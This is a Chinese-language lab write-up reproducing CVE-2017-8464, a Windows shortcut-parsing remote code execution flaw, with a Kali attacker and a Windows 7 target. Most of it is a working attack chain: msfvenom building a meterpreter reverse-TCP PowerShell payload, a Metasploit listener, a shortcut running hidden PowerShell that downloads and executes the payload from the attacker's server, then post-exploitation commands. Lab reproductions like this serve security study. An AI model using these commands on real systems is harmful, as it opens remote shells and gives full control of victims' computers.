CVE
2021-02-11
2021-02-11
# CVE-2017-8464 远程命令执行漏洞复现
# 漏洞描述
2017 年 6 月 13 日,微软官方发布编号为 CVE-2017-8464 的漏洞公告,官方介绍 Windows 系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过 U 盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危
Windows 系统通过解析 .LNK 后缀文件时,是使用二进制来解析的,而当恶意的二进制代码被系统识别执行的时候就可以实现远程代码执行,由于是在 explorer.exe 进程中运行的,所以 load 进内存的时候与当前用户具有相同的权限。
于是攻击者利用这一解析过程的漏洞,将包含恶意二进制的代码被附带进可移动驱动器 (或远程共享过程中),受害者使用 powershell 解析 .LNK 文件后就会被黑客所控制。
成功利用此漏洞的攻击者可能会获得与本地用户相同的用户权限。
# 影响版本
1 | windows 7 |
# 环境准备
攻击机:kali IP:192.168.30.154
靶机:Windows 7 X64 IP:192.168.30.153
# 漏洞复现
使用 kali msfvenom 生成一个反弹 shell
1 | root@kali911:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.30.154 LPORT=5656 -f psh-reflection>/var/www/html/hack.ps1 |
这里生成至 /var/www/html 目录下
启动 Apache 服务
1 | root@kali911:~# service apache2 restart |
浏览器打开该文件,查看是否成功
1 | http://127.0.0.1/hack.ps1 |
启动 msf
1 | root@kali911:~# msfconsole |
使用监听模块 multi/handler
1 | msf5 > use exploit/multi/handler |
指定 kali 攻击机 IP
1 | msf5 exploit(multi/handler) > set LHOST 192.168.30.154 |
设置端口
1 | msf5 exploit(multi/handler) > set LPORT 5656 |
设置返回载荷
1 | msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp |
靶机创建快捷键(桌面右键 -> 新建 -> 快捷方式),输入以下内容
1 | powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.30.154/hack.ps1');test.ps1" |
完成创建,运行快捷方式,一闪而过
回到 kali ,开始攻击
1 | msf5 exploit(multi/handler) > exploit |
查看系统信息
1 | meterpreter > sysinfo |
对屏幕进行截图
1 | meterpreter > screenshot |
还可进行更多操作这里就不一一介绍了
登录 shell
1 | meterpreter > shell |
查看当前用户
1 | C:\Windows\System32\WindowsPowerShell\v1.0>whoami |